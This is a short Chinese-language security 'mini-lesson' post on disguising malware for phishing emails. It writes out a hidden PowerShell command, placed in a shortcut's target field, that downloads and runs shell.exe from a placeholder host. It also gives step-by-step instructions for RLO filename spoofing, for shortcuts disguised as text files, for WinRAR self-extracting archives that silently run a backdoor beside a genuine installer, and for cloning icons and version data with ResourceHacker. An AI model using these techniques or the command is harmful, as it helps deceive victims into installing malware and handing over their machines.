【创宇小课堂】常用的邮件钓鱼伪装方法

修改快捷方式中的目标栏内容执行powershell命令下载木马
将以下内容写入目标栏中

C:WindowsSystem32cmd.exe /c powershell.exe -nop -w hidden -command IEX (new-object net.webclient).DownloadFile('http://ip/shell.exe','C:WindowsTempshell.exe');&cmd /c "C:WindowsTempshell.exe"

调用powershell，隐藏窗口执行下载网站的EXE恶意文件，存储到某一文件夹下，命令行运行EXE恶意文件

隐藏恶意文件，利用命名及图标伪装的快捷方式诱导点击

将真实要执行的恶意文件进行隐藏（此步骤可选）

创建快捷方式指向该文件，修改目标内容为explorer.exe .evil.exe 将起始位置内容删除

修改后缀为txt，并修改图标

最终效果如下，双击启动计算器。

在windows下，如果字符串中存在Unicode字符RLO，则该字符右边的字符串会逆序显示，将后缀进行颠倒，实现文件名欺骗，不更改文件原本类型。

F2进行重命名后在.exe前右键选择“插入Unicode控制字符（I）”点击“RLO”，输入fdp回车（该编码会导致输入显示逆序）即变成了pdf格式文件（注：不用加"."）。

最终效果

利用winrar压缩工具自带的自解压功能实现全程无感知上线

利用工具的下载链接：

Winrar下载链接：
https://www.win-rar.com/download.html?&L=0

ResourceHacker：
http://www.angusj.com/resourcehacker/

准备好正常的软件和后门软件

创建自解压文件,以真实安装包名字命名

设置自解压选项

解压后运行自解压文件中真实的安装包和恶意文件，使用静默模式，以达成无感知效果

修改自解压文件的资源文件

利用ResourceHacker工具（该工具可查看，修改，添加，删除和重命名，提取Windows可执行文件和资源文件的资源替换工具）修改自解压文件资源，更逼真

先提取正常软件的图标

打开刚才创建的自解压文件，替换图标

保存后打开源正常文件，查看正常软件的version信息，并复制下来，后面自解压软件替换信息用。

添加自解压软件的version信息

点绿色箭头进行保存

查看信息可见一样

利用windows目录默认显示文件名长度特性，进行修改将文件名加长隐藏后缀名。

原文始发于微信公众号（安全宇宙）：【创宇小课堂】常用的邮件钓鱼伪装方法